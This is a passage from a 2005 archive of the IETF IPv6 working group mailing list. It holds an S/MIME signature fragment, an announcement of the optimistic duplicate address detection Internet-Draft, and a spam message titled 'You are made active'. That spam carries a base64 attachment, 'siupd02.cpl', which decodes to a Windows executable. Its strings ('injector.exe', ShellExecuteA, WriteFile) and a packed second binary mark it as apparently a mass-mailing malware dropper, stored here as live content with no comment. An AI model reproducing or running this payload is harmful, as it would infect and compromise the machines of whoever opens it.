dDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBABHGCDHcruXemZ3lBjGb0E+TXfwILkNu UykBjSlywXfghEVSEO/cZ/0tMjrqIn1GF3GZeKecvx/aIFawl2pSUejjnLUrEE6Ro5AQs5kyZI3b ma3GPa+TMEOeXBr8Wp+HwkMAk+McfRfGNGTDIBwF+8LnQmMCPlvTYEfuUZ93AAxCMIIDPzCCAqig AwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3 dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAj BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuF Wqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8 YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDag NIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkq hkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAg k3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbq NOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcN AQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDUwMjA4MTUxODU4WjAjBgkqhkiG9w0B CQQxFgQU5cgEAFfQRQKloFhKnA4uampOu2QweAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAwz21DB6BgsqhkiG9w0BCRACCzFroGkwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNV BAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwDQYJKoZIhvcNAQEB BQAEggEAZUEQy4KWN9G6sUPuTFZfhrJaMAi92J8ii1eCmeMshgar2rq6aB3Etqv3WZKz6+Or8cnf yQZfX92mmaAnpicmlQP2kuHZdmBQyn4d+LO0E3mw5wLZRlriB7B+0C2C0kJZw14ApZxMAcKfYeg9 6B8ZxZ/BUD+eVlenFAGo1sFDFuOBaXWTVemMppFLLWkJYckt9zEVWxIW+tT0tv3ZZ75XdCcgz52u OxxmqvXTfKFqaSYedu4ZAAmCbvp4Fw3v3hcAFPfxLfnc1n39r59Gl+PbQIpi8HZcnph6vpikmUCf z100F3cqJz0CU6DIZbjx31dwhw0qLoMfGw7/d7nCpuZC3wAAAAAAAA== --Apple-Mail-4-719719642-- --===============2061522221== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============2061522221==-- From ipv6-bounces@ietf.org Tue Feb 8 16:27:01 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25138 for ; Tue, 8 Feb 2005 16:27:01 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CydCd-0000wB-GE for ipv6-web-archive@ietf.org; Tue, 08 Feb 2005 16:47:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CycAp-00067x-Th; Tue, 08 Feb 2005 15:41:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cyc6b-0003P7-PM; Tue, 08 Feb 2005 15:37:05 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14860; Tue, 8 Feb 2005 15:37:04 -0500 (EST) Message-Id: <200502082037.PAA14860@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Tue, 08 Feb 2005 15:37:03 -0500 Cc: ipv6@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-optimistic-dad-04.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Optimistic Duplicate Address Detection for IPv6 Author(s) : N. Moore Filename : draft-ietf-ipv6-optimistic-dad-04.txt Pages : 17 Date : 2005-2-8 Optimistic Duplicate Address Detection is an interoperable modification of the existing IPv6 Neighbor Discovery (RFC2461) and Stateless Address Autoconfiguration (RFC2462) process. The intention is to minimize address configuration delays in the successful case, to reduce disruption as far as possible in the failure case and to remain interoperable with unmodified hosts and routers. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-optimistic-dad-04.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-optimistic-dad-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-optimistic-dad-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-8160425.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-optimistic-dad-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-optimistic-dad-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-8160425.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --NextPart-- From ipv6-bounces@ietf.org Tue Feb 8 17:49:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11340 for ; Tue, 8 Feb 2005 17:49:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyeUl-00064F-4m for ipv6-web-archive@ietf.org; Tue, 08 Feb 2005 18:10:17 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cydjs-0006QA-G0; Tue, 08 Feb 2005 17:21:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cyd7D-0002Kk-IN for ipv6@megatron.ietf.org; Tue, 08 Feb 2005 16:41:47 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28968 for ; Tue, 8 Feb 2005 16:41:45 -0500 (EST) Received: from 200-101-149-244.toobm201.dial.brasiltelecom.net.br ([200.101.149.244] helo=marfim-pfvqe5p9.org) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1CydQX-00022y-91 for ipv6@ietf.org; Tue, 08 Feb 2005 17:02:07 -0500 Date: Tue, 08 Feb 2005 19:40:59 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------korcchhrlifwcfxopsqa" X-Spam-Score: 3.3 (+++) X-Scan-Signature: dfc64cf6e4c6efdbf6b8f4c995df04df Subject: You are made active X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: da36eda0a3266ed30a56c496b15b76c7 ----------korcchhrlifwcfxopsqa Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Thanks for use of our software.
----------korcchhrlifwcfxopsqa Content-Type: application/octet-stream; name="siupd02.cpl" Content-Disposition: attachment; filename="siupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAKJ6AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAACiSgAAADAAAKJKAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnkoAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAJzzAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAJwDAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAJwDAAAA8AAA nAMAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP OTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFpWFj/4FlSVY2FZiNAAFArwGT/MGSJIOsD x4ToUcPrA8eEmllB6/AAAAAAAAAAAGyjAAAAAAAAAAAAAISjAABsowAAZKMAAAAAAAAAAAAA kaMAAGSjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOejAAAAAAAAnKMAAK2jAAC8owAAyqMAANmj AAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwAAABHZXRQcm9jQWRkcmVzcwAAAExvYWRM aWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVhbEFsbG9jAAAAVmlydHVhbEZyZWUAAABN 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 